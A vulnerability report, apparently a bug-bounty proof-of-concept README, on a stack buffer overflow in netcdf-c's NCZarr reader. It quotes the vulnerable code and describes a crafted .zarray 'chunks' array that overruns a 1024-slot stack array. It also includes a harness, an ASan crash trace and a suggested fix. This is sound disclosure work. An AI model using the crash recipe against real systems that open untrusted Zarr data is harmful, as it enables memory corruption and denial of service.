You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

netcdf-c: stack-based buffer overflow in NCZarr .zarray "chunks" JSON array decoder

libnczarr/zsync.c β€” decodeints() / define_var1()

Target

  • Project: Unidata/netcdf-c
  • Commit audited: c91c55d8fbcd64837d0dbc2f494aed2e0455b391 (HEAD of main, freshly cloned 2026-07-12; merge of PR #3403 "Merge 4.10.1 wellspring back into main branch", authored 2026-07-09)
  • Subsystem: NCZarr (Zarr v2) JSON metadata reader, libnczarr/zsync.c
  • Entry point: nc_open() / nc_open_mem() on any Zarr v2 / NCZarr dataset (also reachable via netCDF4-python's Zarr/NCZarr backend, xarray, GDAL, and any other consumer of libnetcdf's public nc_open API)

Root cause

define_var1() in libnczarr/zsync.c builds each variable's in-memory description from its .zarray JSON metadata file. For the "chunks" key it declares a fixed-size on-stack array:

/* libnczarr/zsync.c, ~line 1590 */
/* chunks */
{
    size64_t chunks[NC_MAX_VAR_DIMS];        /* NC_MAX_VAR_DIMS == 1024, include/netcdf.h */
    if((stat = NCJdictget(jvar,"chunks",&jvalue))<0) {stat = NC_EINVAL; goto done;}
    if(jvalue != NULL && NCJsort(jvalue) != NCJ_ARRAY)
        {stat = (THROW(NC_ENCZARR)); goto done;}
    ...
    } else {/* !zvar->scalar */
        if(zarr_rank == 0) {stat = NC_ENCZARR; goto done;}
        var->storage = NC_CHUNKED;
        if(var->ndims != rank)
            {stat = (THROW(NC_ENCZARR)); goto done;}
        if((var->chunksizes = malloc(sizeof(size_t)*(size_t)zarr_rank)) == NULL)
            {stat = NC_ENOMEM; goto done;}
        if((stat = decodeints(jvalue, chunks))) goto done;   /* <-- overflow happens here */
        ...
    }
}

decodeints() (same file, ~line 1966) is a generic JSON-array-to-size64_t[] copier with no bounds check against the destination buffer's capacity:

/* Convert a list of integer strings to 64 bit dimension sizes (shapes) */
static int
decodeints(const NCjson* jshape, size64_t* shapes)
{
    int stat = NC_NOERR;
    size_t i;

    for(i=0;i<NCJarraylength(jshape);i++) {
        struct ZCVT zcvt;
        nc_type typeid = NC_NAT;
        NCjson* jv = NCJith(jshape,i);
        if((stat = NCZ_json2cvt(jv,&zcvt,&typeid))) goto done;
        switch (typeid) {
        case NC_INT64:
            if(zcvt.int64v < 0) {stat = (THROW(NC_ENCZARR)); goto done;}
            shapes[i] = (size64_t)zcvt.int64v;
            break;
        case NC_UINT64:
            shapes[i] = (size64_t)zcvt.uint64v;   /* no bounds/sign check at all */
            break;
        default: {stat = (THROW(NC_ENCZARR)); goto done;}
        }
    }
done:
    return THROW(stat);
}

It writes exactly NCJarraylength(jshape) elements β€” i.e. exactly as many as the attacker's JSON "chunks" array contains β€” into shapes (here, the fixed 1024-slot stack array chunks). There is no check anywhere in define_var1() that the JSON "chunks" array length is <= NC_MAX_VAR_DIMS (or even equal to the variable's declared rank) before calling decodeints().

Notably, the sibling "shape" handling a few lines earlier in the same function does this correctly β€” it mallocs its destination buffer sized to the JSON array's own length (sizeof(size64_t)*(size_t)zarr_rank) before calling the identical decodeints() helper:

if((shapes = (size64_t*)malloc(sizeof(size64_t)*(size_t)zarr_rank)) == NULL)
    {stat = (THROW(NC_ENOMEM)); goto done;}
if((stat = decodeints(jvalue, shapes))) goto done;

Only the "chunks" destination was left as an unchecked fixed-size stack buffer. Because the NC_UINT64 branch of decodeints() applies no bounds or sign check whatsoever, an attacker-supplied .zarray file with a "chunks" array longer than 1024 entries writes fully attacker-controlled 8-byte values past the end of the stack array, corrupting adjacent stack locals and eventually saved registers / the return address β€” a classic stack-based buffer overflow driven entirely by untrusted JSON content.

This is a distinct subsystem (the NCZarr/Zarr-v2 JSON metadata parser, libnczarr/zsync.c) and a distinct bug class (fixed-size stack buffer overflow from an unchecked JSON array length) from prior netcdf-c findings already in our backlog, which are heap allocation-size integer-overflow bugs in the classic/NC3 binary attribute-array parser (libsrc/attr.c, libsrc/v1hpg.c). We checked our existing huntr submissions for netcdf-c (huntr-poc-netcdf-attrarray-overflow, netcdf-c-attrarray-heap-overflow-poc, netcdf-c-attr-nelems-overflow-poc, huntr-poc-netcdf-nc3-getatt-oob-read) and none touch NCZarr/Zarr or this code path.

Build

cmake -DNETCDF_ENABLE_HDF5=OFF -DNETCDF_ENABLE_DAP=OFF \
      -DNETCDF_ENABLE_NCZARR=ON -DNETCDF_ENABLE_S3=OFF \
      -DBUILD_SHARED_LIBS=OFF \
      -DCMAKE_C_COMPILER=clang -DCMAKE_C_FLAGS="-fsanitize=address -g -O0" \
      ..
make -j$(nproc) netcdf

Static libnetcdf.a linked against a minimal harness (harness.c, included) that calls the standard public nc_open() API on a Zarr "file" storage-mode store.

Proof of concept

A minimal on-disk Zarr v2 store (included in this repo under poc/zarrstore/):

  • zarrstore/.zgroup β€” {"zarr_format": 2}
  • zarrstore/v/.zattrs β€” {"_ARRAY_DIMENSIONS": ["x"]}
  • zarrstore/v/.zarray β€” "shape": [10] (rank 1 β€” passes all rank/dimension consistency checks), but "chunks" contains 1030 integer entries (just 6 past NC_MAX_VAR_DIMS = 1024) instead of the expected single entry. This is a single JSON-field edit fully within attacker control.

Harness (poc/harness.c) opens the store exactly the way any real consumer does:

snprintf(url, sizeof(url), "file://%s#mode=zarr,file", argv[1]);
int status = nc_open(url, NC_NOWRITE, &ncid);

Negative control

An otherwise-identical store (poc/zarrstore_neg/) with a correctly-sized "chunks": [1] opens and closes cleanly:

nc_open(file:///.../zarrstore_neg#mode=zarr,file) -> status=0 (No error)
OK, closed cleanly

Sanitizer-independent confirmation

A second PoC store with an even larger "chunks" array (4096 entries), run against a plain, non-ASan build (clang -g -O0 -fstack-protector-all, harness_plain), crashes with a raw SIGSEGV:

$ ./harness_plain <path-to-4096-entry-zarrstore>; echo exit=$?
exit=139

This confirms the bug is a genuine, sanitizer-independent memory-safety defect, not an ASan-only artifact.

Captured evidence (verbatim, ASan build)

=================================================================
==227866==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7b10c9b06130 at pc 0x558fb8e2f1cc bp 0x7ffc3ad829f0 sp 0x7ffc3ad829e8
WRITE of size 8 at 0x7b10c9b06130 thread T0
    #0 0x558fb8e2f1cb in decodeints /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1983:16
    #1 0x558fb8e2e003 in define_var1 /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1612:17
    #2 0x558fb8e2b3e5 in define_vars /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1733:20
    #3 0x558fb8e24546 in define_grp /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1170:16
    #4 0x558fb8e23f44 in ncz_read_file /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1085:16
    #5 0x558fb8e1f4cb in ncz_open_file /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zopen.c:106:16
    #6 0x558fb8e1f05a in NCZ_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zopen.c:184:16
    #7 0x558fb8e0b7a8 in NC_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libdispatch/dfile.c:2258:12
    #8 0x558fb8e0ae44 in nc_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libdispatch/dfile.c:696:12
    #9 0x558fb8e09e45 in main /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/../poc/harness.c:15:18
    #10 0x7f10cb460f76  (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
    #11 0x7f10cb461026 in __libc_start_main (/usr/lib/x86_64-linux-gnu/libc.so.6+0x2a026) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
    #12 0x558fb8d20500 in _start (/home/kali/hunt-workspace/netcdf-audit-2026-07-12/poc/harness+0x4f500) (BuildId: a27b39a93989bf9dbe0ab36fd7c6cf8e40d8ca39)

Address 0x7b10c9b06130 is located in stack of thread T0 at offset 8496 in frame
    #0 0x558fb8e2babf in define_var1 /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1384

  This frame has 12 object(s):
    [32, 40) 'var' (line 1391)
    [64, 72) 'jncvar' (line 1395)
    [96, 104) 'jdimrefs' (line 1396)
    [128, 136) 'jvalue' (line 1397)
    [160, 168) 'key' (line 1398)
    [192, 196) 'vtype' (line 1403)
    [208, 212) 'vtypelen' (line 1404)
    [224, 228) 'version' (line 1451)
    [240, 244) 'endianness' (line 1460)
    [256, 264) 'fvlen' (line 1548)
    [288, 292) 'atypeid' (line 1549)
    [304, 8496) 'chunks' (line 1592) <== Memory access at offset 8496 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1983:16 in decodeints
==227866==ABORTING

Negative control (well-formed store):

nc_open(file:///.../zarrstore_neg#mode=zarr,file) -> status=0 (No error)
OK, closed cleanly

Non-ASan plain build, 4096-entry chunks PoC:

$ ./harness_plain <path-to-zarrstore>; echo exit=$?
exit=139   (raw SIGSEGV, no sanitizer involved)

Impact

Any application that opens an untrusted Zarr v2 / NCZarr dataset through netcdf-c's public nc_open()/nc_open_mem() API (ncdump, netCDF4-python's Zarr backend, xarray, GDAL, and other downstream consumers) is exposed to a stack-based buffer overflow driven purely by a crafted .zarray JSON metadata file β€” no other privileges required, and no size limit on the attacker-controlled "chunks" array is enforced before the fixed 1024-slot destination buffer is written. Because the overwritten values are arbitrary attacker-controlled 64-bit words (not just small integers, due to the unchecked NC_UINT64 branch), this has potential for stack memory corruption up to control-flow hijack, contingent on stack layout / mitigations (ASLR, stack canaries, etc.) at the target.

Suggested fix

Before calling decodeints(jvalue, chunks) for "chunks", validate NCJarraylength(jvalue) <= NC_MAX_VAR_DIMS (and ideally == zarr_rank), returning NC_ENCZARR otherwise β€” mirroring the rank check already performed for "shape", or simply allocate the "chunks" destination on the heap sized to zarr_rank exactly as "shape" already does a few lines above.

Files in this repository

  • poc/harness.c β€” minimal nc_open() harness (ASan build)
  • poc/zarrstore/ β€” malicious store: rank-1 "shape" [10], 1030-entry "chunks" array (triggers overflow)
  • poc/zarrstore_neg/ β€” negative-control store: correctly-sized "chunks": [1] (opens cleanly)
  • poc/asan_report.txt β€” verbatim captured ASan crash report
  • README.md β€” this file

Dedup note

No prior CVE or huntr report was found covering this NCZarr "chunks" stack-overflow path. Distinguished from our own prior netcdf-c backlog (huntr-poc-netcdf-attrarray-overflow, netcdf-c-attrarray-heap-overflow-poc, netcdf-c-attr-nelems-overflow-poc, huntr-poc-netcdf-nc3-getatt-oob-read), all of which are heap allocation-size integer-overflow bugs in the classic/NC3 binary attribute parser (libsrc/attr.c, libsrc/v1hpg.c) β€” a completely different subsystem, file, and bug class from this NCZarr JSON "chunks" stack overflow.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support